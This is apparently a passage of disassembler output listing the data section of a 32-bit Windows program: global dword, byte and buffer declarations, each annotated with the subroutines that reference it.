dword_444138	dd 73B81E3Bh		; DATA XREF: sub_4012D6+C85w
					; sub_4012D6+C8Cr ...
dword_44413C	dd 76206B7Fh		; DATA XREF: sub_4012D6+832w
					; sub_4012D6+898r ...
dword_444140	dd 71C214BAh		; DATA XREF: sub_4012D6+9B1w
					; sub_4012D6+A2Br ...
dword_444144	dd 77DD5C55h		; DATA XREF: sub_401000+55r
					; sub_4012D6+2B2w ...
dword_444148	dd 71ABF628h		; DATA XREF: sub_4012D6+6ACw
					; sub_413848+E0r
dword_44414C	dd 77E802FCh		; DATA XREF: sub_4012D6+A6w
					; sub_4012D6+F2r
dword_444150	dd 77DD590Bh		; DATA XREF: sub_401000+2Ar
					; sub_4012D6+28Bw ...
dword_444154	dd 77EBA595h		; DATA XREF: sub_4012D6+4Bw
					; sub_4012D6+C2r ...
dword_444158	dd 76D629BBh		; DATA XREF: sub_4012D6+91Aw
					; sub_4012D6+92Er ...
dword_44415C	dd 71AB1B7Bh		; DATA XREF: sub_4012D6+55Aw
					; sub_412DD9+112r ...
dword_444160	dd 77D4BDCAh		; DATA XREF: sub_4012D6+165w
					; sub_4012D6:loc_401490r ...
dword_444164	dd 76204E4Dh		; DATA XREF: sub_4012D6+879w
					; sub_418F38+4DAr ...
dword_444168	dd 71AB2BBFh		; DATA XREF: sub_4012D6+692w
					; sub_4012D6+7B4r ...
dword_44416C	dd 76F36EEBh		; DATA XREF: sub_4012D6+AA2w
dword_444170	dd 77DDA595h		; DATA XREF: sub_4012D6+33Aw
					; sub_41C3D9+55r
dword_444174	dd 76D67A29h		; DATA XREF: sub_4012D6+AECw
					; sub_4022F5+8Er
dword_444178	dd 77C7531Dh		; DATA XREF: sub_4012D6+473w
					; sub_4012D6+4CBr ...
dword_44417C	dd 71AB12F8h		; DATA XREF: sub_4012D6+5C2w
					; sub_4012D6+730r ...
dword_444180	dd 77C7212Fh		; DATA XREF: sub_4012D6+466w
					; sub_4012D6+4C3r ...
dword_444184	dd 77C72889h		; DATA XREF: sub_4012D6+4B4w
					; sub_417F75+206r
dword_444188	dd 71AB401Ch		; DATA XREF: sub_4012D6+5B5w
					; sub_4012D6+724r ...
dword_44418C	dd 76D62A37h		; DATA XREF: sub_4012D6+927w
					; sub_4012D6+93Br ...
dword_444190	dd 77C729E2h		; DATA XREF: sub_4012D6+49Aw
					; sub_4012D6+4E3r ...
dword_444194	dd 71AB60C9h		; DATA XREF: sub_4012D6+54Dw
					; sub_4012D6+6D0r ...
dword_444198	dd 77DDACABh		; DATA XREF: sub_4012D6+40Fw
					; sub_41D779+EDr
dword_44419C	dd 73B81B0Fh		; DATA XREF: sub_4012D6+C92w
					; sub_40274D+6FC7r
dword_4441A0	dd 71AB1AF4h		; DATA XREF: sub_4011F5+3Er
					; sub_40123B+80r ...
dword_4441A4	dd 77D902E3h		; DATA XREF: sub_4012D6+1B3w
					; sub_41AEBB+15r
dword_4441A8	dd 77E96645h		; DATA XREF: sub_4012D6+7Fw
					; sub_4012D6+DAr ...
dword_4441AC	dd 71B2ACCBh		; DATA XREF: sub_4012D6+B29w
					; sub_4012D6+B4Ar ...
dword_4441B0	dd 71AB1890h		; DATA XREF: sub_4012D6+644w
					; sub_4012D6+784r ...
dword_4441B4	dd 77E6D75Bh		; DATA XREF: sub_4012D6+B3w
dword_4441B8	dd 7620BD61h		; DATA XREF: sub_4012D6+866w
					; sub_4012D6+8B4r ...
dword_4441BC	dd 1F7CB8F8h		; DATA XREF: sub_4012D6+C1Bw
					; sub_4012D6+C47r
dword_4441C0	dd 77C75455h		; DATA XREF: sub_4012D6+480w
					; sub_4012D6+4D3r ...
dword_4441C4	dd 71AB1740h		; DATA XREF: sub_4012D6+574w
					; sub_4012D6+6E8r ...
dword_4441C8	dd 77DDA20Bh		; DATA XREF: sub_4012D6+365w
					; sub_4012D6+3BAr ...
dword_4441CC	dd 77D4702Fh		; DATA XREF: sub_4012D6+158w
					; sub_4012D6+1ADr ...
dword_4441D0	dd 77DE8075h		; DATA XREF: sub_4012D6+37Fw
					; sub_4012D6+3CFr ...
dword_4441D4	dd 71C45229h		; DATA XREF: sub_4012D6+9D8w
					; sub_4012D6+A43r ...
dword_4441D8	dd 77DDA2AFh		; DATA XREF: sub_4012D6+3B3w
					; sub_4012D6+3EFr ...
dword_4441DC	dd 71AB12A7h		; DATA XREF: sub_4012D6+5F6w
					; sub_40BB72+20r ...
dword_4441E0	dd 71AB14DCh		; DATA XREF: sub_4012D6+567w
					; sub_4012D6+6DCr ...
dword_4441E4	dd 71AB3ECEh		; DATA XREF: sub_4012D6+637w
					; sub_4012D6+77Cr ...
dword_4441E8	dd 77DD189Ah		; DATA XREF: sub_401000+5Er
					; sub_4012D6+2BFw ...
dword_4441EC	dd 77DE1291h		; DATA XREF: sub_4012D6+38Cw
					; sub_4012D6+3D7r ...
dword_4441F0	dd 76F36EAAh		; DATA XREF: sub_4012D6+A95w
					; sub_4012D6+A9Cr ...
dword_4441F4	dd 76D62A58h		; DATA XREF: sub_4012D6+934w
					; sub_415F82+112r
dword_4441F8	dd 1F7D886Ah		; DATA XREF: sub_4012D6+BE7w
					; sub_4012D6+C22r
dword_4441FC	dd 71ABD755h		; DATA XREF: sub_4012D6+69Fw
					; sub_4012D6+7BCr ...
dword_444200	dd 71AB1746h		; DATA XREF: sub_4012D6+5E9w
					; sub_4012D6+754r ...
dword_444204	dd 77DD7496h		; DATA XREF: sub_4012D6+3C0w
					; sub_41C07C+ABr
dword_444208	dd 0			; DATA XREF: sub_4012D6+112w
dword_44420C	dd 71C2FA86h		; DATA XREF: sub_4012D6+997w
					; sub_4012D6+A1Br ...
dword_444210	dd 1F7CD927h		; DATA XREF: sub_4012D6+C01w
					; sub_4012D6+C37r
dword_444214	dd 77428B97h		; DATA XREF: sub_4012D6+B9Dw
					; sub_4012D6+BA4r ...
dword_444218	dd 71AB1A6Dh		; DATA XREF: sub_40110F+12r
					; sub_4012D6+6B9w ...
dword_44421C	dd 77C76551h		; DATA XREF: sub_4012D6+459w
					; sub_4012D6+4BBr ...
dword_444220	dd 71AB32CAh		; DATA XREF: sub_4012D6+685w
					; sub_4012D6+7ACr ...
dword_444224	dd 71AB1836h		; DATA XREF: sub_40110F+1Dr
					; sub_40110F+23r ...
dword_444228	dd 77DF7311h		; DATA XREF: sub_4012D6+32Dw
					; sub_4012D6+341r ...
dword_44422C	dd 77D4808Bh		; DATA XREF: sub_4012D6+213w
					; sub_4012D6+234r ...
dword_444230	dd 71AB5DE2h		; DATA XREF: sub_4012D6+651w
					; sub_4012D6+78Cr ...
dword_444234	dd 71AB12A7h		; DATA XREF: sub_4012D6+5DCw
					; sub_4012D6+748r ...
dword_444238	dd 77DD22EAh		; DATA XREF: sub_4012D6+27Ew
					; sub_4012D6+2D3r ...
dword_44423C	dd 77D5E38Ch		; DATA XREF: sub_4012D6+199w
					; sub_4012D6+1DAr ...
dword_444240	dd 71B22C25h		; DATA XREF: sub_4012D6+B36w
					; sub_4012D6+B57r ...
dword_444244	dd 77DD5D20h		; DATA XREF: sub_4012D6+320w
					; sub_4012D6+334r ...
dword_444248	dd 77E09134h		; DATA XREF: sub_4012D6+2CCw
					; sub_41B065+47r
dword_44424C	dd 77DE801Bh		; DATA XREF: sub_4012D6+372w
					; sub_4012D6+3C7r ...
dword_444250	dd 77C76B34h		; DATA XREF: sub_4012D6+44Cw
					; sub_4012D6+4AEr ...
dword_444254	dd 0CC0004h		; DATA XREF: sub_4012D6+8DBw
					; sub_4012D6:loc_401BCFw ...
dword_444258	dd 762059A3h		; DATA XREF: sub_4012D6+825w
					; sub_4012D6+890r ...
dword_44425C	dd 7622A3F4h		; DATA XREF: sub_4012D6+80Bw
					; sub_4012D6+880r ...
dword_444260	dd 71AB1746h		; DATA XREF: sub_4012D6+5CFw
					; sub_4012D6+73Cr ...
dword_444264	dd 0			; DATA XREF: sub_4012D6:loc_4013D4w
					; sub_4012D6+12Bw ...
dword_444268	dd 0			; DATA XREF: sub_4012D6+126w
					; sub_401F92+1Cr
dword_44426C	dd 0			; DATA XREF: sub_4012D6:loc_4014C4w
					; sub_4012D6:loc_40152Bw ...
dword_444270	dd 0			; DATA XREF: sub_4012D6+250w
					; sub_401F92+50r
dword_444274	dd 0			; DATA XREF: sub_4012D6:loc_4015DEw
					; sub_4012D6:loc_401623w ...
dword_444278	dd 0			; DATA XREF: sub_4012D6+41Ew
					; sub_401F92+84r
dword_44427C	dd 0			; DATA XREF: sub_4012D6:loc_4017DAw
					; sub_401F92:loc_402042r
dword_444280	dd 0			; DATA XREF: sub_4012D6+4FFw
					; sub_401F92+B8r
dword_444284	dd 0			; DATA XREF: sub_4012D6:loc_401AABw
					; sub_401F92:loc_402076r
dword_444288	dd 0			; DATA XREF: sub_4012D6+7D0w
					; sub_401F92+ECr
dword_44428C	dd 0			; DATA XREF: sub_4012D6:loc_401B96w
					; sub_4012D6+8EFw ...
dword_444290	dd 0			; DATA XREF: sub_4012D6+8EAw
					; sub_401F92+120r
dword_444294	dd 0			; DATA XREF: sub_4012D6:loc_401C2Aw
					; sub_401F92:loc_4020DEr ...
dword_444298	dd 0			; DATA XREF: sub_4012D6+94Fw
					; sub_401F92+154r
dword_44429C	dd 0			; DATA XREF: sub_4012D6:loc_401D46w
					; sub_401F92:loc_402112r ...
dword_4442A0	dd 0			; DATA XREF: sub_4012D6+A6Bw
					; sub_401F92+188r
dword_4442A4	dd 0			; DATA XREF: sub_4012D6:loc_401D90w
					; sub_401F92:loc_402146r
dword_4442A8	dd 0			; DATA XREF: sub_4012D6+AB5w
					; sub_401F92+1BCr
dword_4442AC	dd 0			; DATA XREF: sub_4012D6:loc_401DDAw
					; sub_401F92:loc_40217Ar
dword_4442B0	dd 0			; DATA XREF: sub_4012D6+AFFw
					; sub_401F92+1F0r
dword_4442B4	dd 0			; DATA XREF: sub_4012D6:loc_401E4Ew
					; sub_401F92:loc_4021AEr
dword_4442B8	dd 0			; DATA XREF: sub_4012D6+B73w
					; sub_401F92+224r
dword_4442BC	dd 0			; DATA XREF: sub_4012D6:loc_401E98w
					; sub_401F92:loc_4021E2r
dword_4442C0	dd 0			; DATA XREF: sub_4012D6+BBDw
					; sub_401F92+258r
dword_4442C4	dd 0			; DATA XREF: sub_4012D6:loc_401F36w
					; sub_401F92:loc_402216r
dword_4442C8	dd 0			; DATA XREF: sub_4012D6+C5Bw
					; sub_401F92+28Cr
dword_4442CC	dd 0			; DATA XREF: sub_4012D6:loc_401F80w
					; sub_401F92:loc_40224Ar
dword_4442D0	dd 0			; DATA XREF: sub_4012D6+CA5w
					; sub_401F92+2C0r
; char Dest[]
Dest		db 14h dup(0)		; DATA XREF: sub_4023C9+46o
dword_4442E8	dd 0			; DATA XREF: sub_40274D+5B75r
					; sub_40274D+5C52r ...
		dd 7Fh dup(0)
dword_4444E8	dd 0			; DATA XREF: sub_40AE85+45w
					; sub_40AF6E+3Ew ...
dword_4444EC	dd 0			; DATA XREF: sub_40AE85+3Ew
					; sub_40AF6E+44w ...
dword_4444F0	dd 0			; DATA XREF: sub_40AE85+52w
					; sub_40AF6E+34r ...
dword_4444F4	dd 0			; DATA XREF: sub_40110F+Cr
					; sub_4025EF+83w ...
dword_4444F8	dd 0			; DATA XREF: sub_40AF6E+6Fr
					; sub_40B149+2Aw ...
dword_4444FC	dd 0			; DATA XREF: sub_40274D+719w
					; sub_40274D+94Fw ...
byte_444500	db 0			; DATA XREF: sub_4025EF+5Do
					; sub_40274D+5ABCr ...
		align 4
		dd 493h	dup(0)
dword_445750	dd 473Ch dup(0)		; DATA XREF: .rdata:off_43426Co
		db 0
byte_457441	db 3 dup(0)		; DATA XREF: .rdata:off_4377C4o
		dd 0E306h dup(0)
dword_49005C	dd 947Ah dup(0)		; DATA XREF: .rdata:off_432F8Co
		db 0
byte_4B5245	db 3 dup(0)		; DATA XREF: .rdata:off_437630o
		dd 7028h dup(0)
dword_4D12E8	dd 0			; DATA XREF: WinMain(x,x,x,x):loc_40A728o
					; sub_40AE85+13o ...
; char byte_4D12EC[]
byte_4D12EC	db 80h dup(0)		; DATA XREF: WinMain(x,x,x,x)+47Co
					; WinMain(x,x,x,x)+509o ...
; char byte_4D136C[]
byte_4D136C	db 40h dup(0)		; DATA XREF: WinMain(x,x,x,x)+497o
; char byte_4D13AC[]
byte_4D13AC	db 90h dup(0)		; DATA XREF: WinMain(x,x,x,x)+4AEo
dword_4D143C	dd 0			; DATA XREF: WinMain(x,x,x,x)+49Dw
					; WinMain(x,x,x,x)+520w ...
dword_4D1440	dd 0			; DATA XREF: WinMain(x,x,x,x)+4B9w
		align 10h
; char dword_4D1450[]
dword_4D1450	dd 0			; DATA XREF: sub_40274D+A17o
					; sub_40274D+A88r ...
		dd 5 dup(0)
dword_4D1468	dd 0			; DATA XREF: sub_40274D+A78r
					; sub_417C78+63r
		dd 1Fh dup(0)
dword_4D14E8	dd 0			; DATA XREF: sub_40B075+16o
					; sub_40B094+19o
dword_4D14EC	dd 2B9h	dup(0)		; DATA XREF: sub_40B028+3Do
dword_4D1FD0	dd 1Bh			; DATA XREF: sub_40274D:loc_404F29r
					; WinMain(x,x,x,x)+3Dw	...
dword_4D1FD4	dd 0			; DATA XREF: WinMain(x,x,x,x)+136r
byte_4D1FD8	db 0			; DATA XREF: sub_402472+29r
					; sub_402472+32o
		align 4
dword_4D1FDC	dd 0			; DATA XREF: sub_40274D+7B0Bw
					; WinMain(x,x,x,x)+4CAw ...
dword_4D1FE0	dd 0			; DATA XREF: sub_40274D+7E5r
					; WinMain(x,x,x,x)+481w
dword_4D1FE4	dd 0B63Ch		; DATA XREF: sub_40B690+151r
					; sub_40D055+30r ...
byte_4D1FE8	db 0			; DATA XREF: sub_40AD00+64r
					; sub_40AD00+92w
		align 10h
dword_4D1FF0	dd 0			; DATA XREF: sub_40B619+18r
					; sub_40BBBA+92w ...
dword_4D1FF4	dd 0			; DATA XREF: sub_40BCF3+1EDr
					; sub_40BEFE+DCw ...
		dd 7FEh	dup(0)
dword_4D3FF0	dd 6 dup(0)		; DATA XREF: sub_40BCF3+C2o
					; sub_40BCF3+125o ...
dword_4D4008	dd 0			; DATA XREF: sub_40B494+Er
					; sub_40B494+31r ...
dword_4D400C	dd 0			; DATA XREF: sub_40B494+9r
					; sub_40B494+25r ...
dword_4D4010	dd 0			; DATA XREF: sub_40B690+428w
					; sub_40B690+467o
; char byte_4D4014[]
byte_4D4014	db 13Eh	dup(0)		; DATA XREF: sub_40B690+3F6o
word_4D4152	dw 0			; DATA XREF: .rdata:off_436FD4o
		dd 52h dup(0)
; char byte_4D429C[]
byte_4D429C	db 104h	dup(0)		; DATA XREF: sub_40B690+3CBo
dword_4D43A0	dd 0			; DATA XREF: sub_40B690+3EDw
					; sub_40B690+415r
		align 8
dword_4D43A8	dd 0			; DATA XREF: sub_40B690+45Dw
					; sub_40B690+479r
dword_4D43AC	dd 0			; DATA XREF: sub_40B690+41Bw
dword_4D43B0	dd 0			; DATA XREF: sub_40B690+42Dw
dword_4D43B4	dd 0			; DATA XREF: sub_40B690+3FBw
		dd 0
dword_4D43BC	dd 0			; DATA XREF: sub_40B690:loc_40BB68r
dword_4D43C0	dd 0			; DATA XREF: sub_40B690+2B7w
					; sub_40B690+34Do
dword_4D43C4	dd 0			; DATA XREF: sub_40B690+343w
					; sub_40B690+35Fr
dword_4D43C8	dd 0			; DATA XREF: sub_40B690+2C2w
dword_4D43CC	dd 0			; DATA XREF: sub_40B690+2ACw
					; sub_40B690+31Ar
; char byte_4D43D0[]
byte_4D43D0	db 80h dup(0)		; DATA XREF: sub_40B690+2D5o
					; sub_40B690+307o
dword_4D4450	dd 0			; DATA XREF: sub_40B690+2C8w
dword_4D4454	dd 0			; DATA XREF: sub_40B690+2DFw
					; sub_40B690+311w
dword_4D4458	dd 0			; DATA XREF: sub_40B690:loc_40BB53r
		align 10h
dword_4D4460	dd 0			; DATA XREF: sub_40B690+194w
					; sub_40B690+226o
dword_4D4464	dd 41h dup(0)		; DATA XREF: sub_40B690+15Do
; char byte_4D4568[]
byte_4D4568	db 104h	dup(0)		; DATA XREF: sub_40B690+17Bo
dword_4D466C	dd 0			; DATA XREF: sub_40B690+21Cw
					; sub_40B690+238r
dword_4D4670	dd 0			; DATA XREF: sub_40B690+169w
dword_4D4674	dd 0			; DATA XREF: sub_40B690+164w
					; sub_40B690+1F3r
; char byte_4D4678[]
byte_4D4678	db 80h dup(0)		; DATA XREF: sub_40B690+1ADo
					; sub_40B690+1DFo
dword_4D46F8	dd 0			; DATA XREF: sub_40B690+1A0w
dword_4D46FC	dd 0			; DATA XREF: sub_40B690+1B7w
					; sub_40B690+1E9w
dword_4D4700	dd 0			; DATA XREF: sub_40B690:loc_40B983r
		align 8
dword_4D4708	dd 0			; DATA XREF: sub_40B690+82w
					; sub_40B690+FEo
dword_4D470C	dd 41h dup(0)		; DATA XREF: sub_40B690+46o
; char byte_4D4810[]
byte_4D4810	db 104h	dup(0)		; DATA XREF: sub_40B690+69o
dword_4D4914	dd 0			; DATA XREF: sub_40B690+F4w
					; sub_40B690+110r
dword_4D4918	dd 0			; DATA XREF: sub_40B690+52w
dword_4D491C	dd 0			; DATA XREF: sub_40B690+4Dw
					; sub_40B690+CBr
; char byte_4D4920[]
byte_4D4920	db 80h dup(0)		; DATA XREF: sub_40B690+9Ao
					; sub_40B690+B7o
dword_4D49A0	dd 0			; DATA XREF: sub_40B690+8Dw
dword_4D49A4	dd 0			; DATA XREF: sub_40B690+A4w
					; sub_40B690+C1w
dword_4D49A8	dd 0			; DATA XREF: sub_40B690:loc_40B85Br
		align 10h
; char byte_4D49B0[]
byte_4D49B0	db 200h	dup(0)		; DATA XREF: sub_40C30A+91o
dword_4D4BB0	dd 40h dup(0)		; DATA XREF: sub_40D055+C0o
					; .text:0040D2AFo
dword_4D4CB0	dd 0			; DATA XREF: .text:0040D2C7w
dword_4D4CB4	dd 0			; DATA XREF: .text:0040D688w
					; .text:0040D6A1r ...
dword_4D4CB8	dd 0			; DATA XREF: .text:0040D29Ew
					; .text:0040D695w ...
dword_4D4CBC	dd 0			; DATA XREF: .text:0040D18Fw
					; .text:0040D290r ...
dword_4D4CC0	dd 0			; DATA XREF: .text:0040D174w
					; .text:loc_40D1B6r
		align 8
dword_4D4CC8	dd 2Bh dup(0)		; DATA XREF: .text:0040D236o
dword_4D4D74	dd 81h dup(0)		; DATA XREF: .text:0040D258o
		db 2 dup(0)
word_4D4F7A	dw 0			; DATA XREF: .text:0040D56Do
					; .text:0040D59Ao ...
dword_4D4F7C	dd 0			; DATA XREF: .text:loc_40D630o
		db 2 dup(0)
word_4D4F82	dw 0			; DATA XREF: .text:0040D2F2o
					; .text:0040D324o ...
dword_4D4F84	dd 4 dup(0)		; DATA XREF: .text:loc_40D303o
dword_4D4F94	dd 2Eh dup(0)		; DATA XREF: .text:0040D269o
		db 2 dup(0)
word_4D504E	dw 0			; DATA XREF: .text:0040D27Do
		dd 1Eh dup(0)
dword_4D50C8	dd 0			; DATA XREF: .text:0040D721w
					; .text:0040D74Br
dword_4D50CC	dd 3 dup(0)		; DATA XREF: sub_40ED91+66o
; char byte_4D50D8[]
byte_4D50D8	db 100h	dup(0)		; DATA XREF: sub_40F87A+1Eo
; wchar_t *dword_4D51D8
dword_4D51D8	dd 0			; DATA XREF: sub_40F87A+71r
					; sub_40F87A+85r
		align 10h
dword_4D51E0	dd 19h dup(0)		; DATA XREF: sub_40F87A+93o
dword_4D5244	dd 0			; DATA XREF: sub_411555+9Ao
					; sub_411555+CFr ...
dword_4D5248	dd 0			; DATA XREF: sub_4114C7+35r
					; sub_411555+95o ...
dword_4D524C	dd 0			; DATA XREF: sub_41150A+1Fr
					; sub_411555+BCo ...
dword_4D5250	dd 0			; DATA XREF: sub_4114C7+17r
					; sub_41150A+3Dr ...
dword_4D5254	dd 0			; DATA XREF: sub_411555+B7o
					; sub_411555+DBr ...
dword_4D5258	dd 0			; DATA XREF: sub_40B4FF+15r
					; sub_411722+2BAw
dword_4D525C	dd 0B5DFh		; DATA XREF: sub_40B690+2A7r
					; .text:0040CF7Ar ...
dword_4D5260	dd 0			; DATA XREF: sub_411A00+2Aw
					; sub_411A00+51r ...
		align 8
dword_4D5268	dd 0			; DATA XREF: sub_413848+152r
		align 10h
dword_4D5270	dd 0			; DATA XREF: sub_41549E+1CEw
					; sub_41549E+1F5w
		align 8
byte_4D5278	db 0			; DATA XREF: sub_415C89+10Fw
					; sub_415C89+20Eo
		align 2
word_4D527A	dw 0			; DATA XREF: sub_415C89+11Fw
word_4D527C	dw 0			; DATA XREF: sub_415C89+125w
word_4D527E	dw 0			; DATA XREF: sub_415C89+12Cw
byte_4D5280	db 0			; DATA XREF: sub_415C89+133w
byte_4D5281	db 0			; DATA XREF: sub_415C89+13Aw
word_4D5282	dw 0			; DATA XREF: sub_415C89+140w
dword_4D5284	dd 0			; DATA XREF: sub_415C89+16Ew
					; sub_415C89+18Cw
dword_4D5288	dd 0			; DATA XREF: sub_415C89+194w
byte_4D528C	db 0			; DATA XREF: sub_415C89+1A6w
byte_4D528D	db 0			; DATA XREF: sub_415C89+1B9w
word_4D528E	dw 0			; DATA XREF: sub_415C89+1D1w
word_4D5290	dw 0			; DATA XREF: sub_415C89+1E0w
word_4D5292	dw 0			; DATA XREF: sub_415C89+1D8w
dword_4D5294	dd 101h	dup(0)		; DATA XREF: sub_415C89+1F5o
; char byte_4D5698[]
byte_4D5698	db 200h	dup(0)		; DATA XREF: sub_40274D+2D39o
					; sub_40274D:loc_405535o ...
dword_4D5898	dd 0			; DATA XREF: sub_40274D+1843w
					; sub_40274D+2D31r ...
		align 10h
byte_4D58A0	db 0			; DATA XREF: sub_417272+1C8w
					; sub_417272+2A1o
		align 2
word_4D58A2	dw 0			; DATA XREF: sub_417272+1D5w
word_4D58A4	dw 0			; DATA XREF: sub_417272+1DFw
word_4D58A6	dw 0			; DATA XREF: sub_417272+1E8w
byte_4D58A8	db 0			; DATA XREF: sub_417272+1EFw
byte_4D58A9	db 0			; DATA XREF: sub_417272+1F6w
word_4D58AA	dw 0			; DATA XREF: sub_417272+1FDw
dword_4D58AC	dd 0			; DATA XREF: sub_417272+20Aw
dword_4D58B0	dd 0			; DATA XREF: sub_417272+212w
word_4D58B4	dw 0			; DATA XREF: sub_417272+26Bw
word_4D58B6	dw 0			; DATA XREF: sub_417272+253w
word_4D58B8	dw 0			; DATA XREF: sub_417272+27Dw
word_4D58BA	dw 0			; DATA XREF: sub_417272+21Ew
dword_4D58BC	dd 100h	dup(0)		; DATA XREF: sub_417272+28Co
dword_4D5CBC	dd 0			; DATA XREF: sub_41776E+372w
					; sub_41776E+3E8o
dword_4D5CC0	dd 0			; DATA XREF: sub_41776E+30Ew
byte_4D5CC4	db 0			; DATA XREF: sub_41776E+314w
byte_4D5CC5	db 0			; DATA XREF: sub_41776E+31Aw
word_4D5CC6	dw 0			; DATA XREF: sub_41776E+327w
dword_4D5CC8	dd 6 dup(0)		; DATA XREF: sub_41776E+3CCo
byte_4D5CE0	db 0			; DATA XREF: sub_41776E+223o
					; sub_41776E+238w ...
byte_4D5CE1	db 0			; DATA XREF: sub_41776E+246w
word_4D5CE2	dw 0			; DATA XREF: sub_41776E+270w
word_4D5CE4	dw 0			; DATA XREF: sub_41776E+25Ew
					; sub_41776E:loc_417B11w
word_4D5CE6	dw 0			; DATA XREF: sub_41776E+276w
byte_4D5CE8	db 0			; DATA XREF: sub_41776E+27Dw
byte_4D5CE9	db 0			; DATA XREF: sub_41776E+23Fw
word_4D5CEA	dw 0			; DATA XREF: sub_41776E+3B9w
					; sub_41776E+3EDw
dword_4D5CEC	dd 0			; DATA XREF: sub_41776E:loc_417A0Aw
					; sub_41776E+36Dr
dword_4D5CF0	dd 0			; DATA XREF: sub_41776E+2A9w
word_4D5CF4	dw 0			; DATA XREF: sub_41776E+367w
					; sub_41776E+3C7o
word_4D5CF6	dw 0			; DATA XREF: sub_41776E+308w
					; sub_41776E+32Dr ...
dword_4D5CF8	dd 0			; DATA XREF: sub_41776E+2E2w
					; sub_41776E+3AAw
dword_4D5CFC	dd 0			; DATA XREF: sub_41776E+2FBw
					; sub_41776E+37Ew ...
byte_4D5D00	db 0			; DATA XREF: sub_41776E+2E7r
					; sub_41776E+2F0w
byte_4D5D01	db 0			; DATA XREF: sub_41776E+2AEw
					; sub_41776E+377w ...
word_4D5D02	dw 0			; DATA XREF: sub_41776E+2BCw
word_4D5D04	dw 0			; DATA XREF: sub_41776E+3C0w
					; sub_41776E+40Cw
word_4D5D06	dw 0			; DATA XREF: sub_41776E+301w
		dd 0
word_4D5D0C	dw 0			; DATA XREF: sub_41776E+333w
					; sub_41776E+3FDo
word_4D5D0E	dw 0			; DATA XREF: sub_41776E+342w
					; sub_41776E+3DBw
dword_4D5D10	dd 0			; DATA XREF: sub_41776E+33Cw
		align 10h
dword_4D5D20	dd 0			; DATA XREF: sub_41776E+32w
					; sub_41776E+406r
		align 8
; char byte_4D5D28[]
byte_4D5D28	db 400h	dup(0)		; DATA XREF: sub_41776E+1ACo
					; sub_41776E+44Fo
; char byte_4D6128[]
byte_4D6128	db 4000h dup(0)		; DATA XREF: sub_417D70+1Do
					; sub_417E10o ...
; char dword_4DA128[]
dword_4DA128	dd 0			; DATA XREF: sub_417D70+13o
					; sub_417E10+Eo ...
dword_4DA12C	dd 0Dh dup(0)		; DATA XREF: sub_419443+10o
; wchar_t word_4DA160
word_4DA160	dw 0			; DATA XREF: sub_419B8C+D5o
					; sub_419D2A+97o ...
		align 4
		dd 1FFh	dup(0)
dword_4DA960	dd 0			; DATA XREF: sub_419A03+35r
					; sub_419A03+65r ...
dword_4DA964	dd 0			; DATA XREF: sub_419E4F+55r
					; sub_419EE6+64r ...
; wchar_t word_4DA968
word_4DA968	dw 0			; DATA XREF: sub_419B8C+ECo
					; sub_419D2A+AEo ...
		align 4
		dd 1FFh	dup(0)
dword_4DB168	dd 0			; DATA XREF: sub_419A03+94r
					; sub_419FFD+85w
dword_4DB16C	dd 0			; DATA XREF: sub_419A03+A2r
					; sub_419FFD+92w
dword_4DB170	dd 0			; DATA XREF: sub_419A03+D6r
					; sub_419A03+173r ...
dword_4DB174	dd 0			; DATA XREF: sub_419E4F+5r
					; sub_419E4F+2Er ...
dword_4DB178	dd 0			; DATA XREF: sub_419B8C+172w
					; sub_419D2A+FFw
; void *Src
Src		dd 0			; DATA XREF: sub_419B8C+177w
					; sub_419D2A+105w ...
dword_4DB180	dd 0			; DATA XREF: sub_419B8C+150w
					; sub_419E4F+4Fr
		align 8
; char byte_4DB188[]
byte_4DB188	db 200h	dup(0)		; DATA XREF: sub_419E4F+5Eo
; char byte_4DB388[]
byte_4DB388	db 200h	dup(0)		; DATA XREF: sub_419EE6+3Fo
dword_4DB588	dd 0			; DATA XREF: sub_41A7A3+29w
					; sub_41A7A3:loc_41A934w ...
dword_4DB58C	dd 0			; DATA XREF: sub_40274D+39DDo
					; sub_41A24C+13o ...
		dd 0
dword_4DB594	dd 0			; DATA XREF: sub_41A7A3+21r
					; sub_41A954+3Ar
		dd 7Fh dup(0)
dword_4DB794	dd 0			; DATA XREF: sub_41A7A3+19r
					; sub_41A954+4Bw
		dd 1944h dup(0)
; char byte_4E1CA8[]
byte_4E1CA8	db 4 dup(0)		; DATA XREF: sub_41A954+23o
					; sub_41ACD0+6Do
dword_4E1CAC	dd 7Fh dup(0)		; DATA XREF: sub_40274D+39FBo
					; sub_41A24C+3Co
; char byte_4E1EA8[]
byte_4E1EA8	db 5Ch dup(0)		; DATA XREF: sub_41B507:loc_41B620o
					; sub_41B507+12Do ...
dword_4E1F04	dd 0			; DATA XREF: sub_41B802+53w
					; sub_41B802+5Br ...
dword_4E1F08	dd 0			; DATA XREF: sub_41B802+33r
					; sub_41B802+3Ew ...
		align 10h
; char byte_4E1F10[]
byte_4E1F10	db 60h dup(0)		; DATA XREF: sub_41BD5A:loc_41BE78o
					; sub_41BD5A+12Ao
; char byte_4E1F70[]
byte_4E1F70	db 200h	dup(0)		; DATA XREF: sub_41BE8A+81o
					; sub_41BE8A+A9o
; char byte_4E2170[]
byte_4E2170	db 200h	dup(0)		; DATA XREF: sub_41BF46:loc_41BF7Eo
					; sub_41BF46+60o
; char byte_4E2370[]
byte_4E2370	db 200h	dup(0)		; DATA XREF: sub_41BFBE+51o
					; sub_41BFBE+83o ...
; char byte_4E2570[]
byte_4E2570	db 200h	dup(0)		; DATA XREF: sub_41C19B+68o
					; sub_41C19B+8Eo ...
dword_4E2770	dd 0			; DATA XREF: sub_41C7BD+1Ar
					; sub_41C9D4+87o
; int dword_4E2774
dword_4E2774	dd 0			; DATA XREF: sub_41C87C+BAr
					; sub_41C87C+101r ...
dword_4E2778	dd 0			; DATA XREF: sub_41C78D:loc_41C7A1r
					; sub_41C9D4+11Fw
dword_4E277C	dd 0			; DATA XREF: sub_41C78Dr
					; sub_41C87C+9Ar ...
; char byte_4E2780[]
byte_4E2780	db 34h dup(0)		; DATA XREF: sub_41C87C+B5o
					; sub_41C87C+FCo ...
dword_4E27B4	dd 0			; DATA XREF: sub_41C78D:loc_41C7AEr
					; sub_41C87C+35r ...
; char byte_4E27B8[]
byte_4E27B8	db 38h dup(0)		; DATA XREF: sub_41D5F8+40o
byte_4E27F0	db 0			; DATA XREF: .text:0041DF9Co
					; .text:0041DFC2o ...
		align 4
		dd 3Fh dup(0)
dword_4E28F0	dd 0			; DATA XREF: _strtok+43r _strtok+9Fw
dword_4E28F4	dd 0			; DATA XREF: __fsopen+9w _strtoxl+165w ...
dword_4E28F8	dd 0			; DATA XREF: sub_42065F+35w
					; __close:loc_420F83w ...
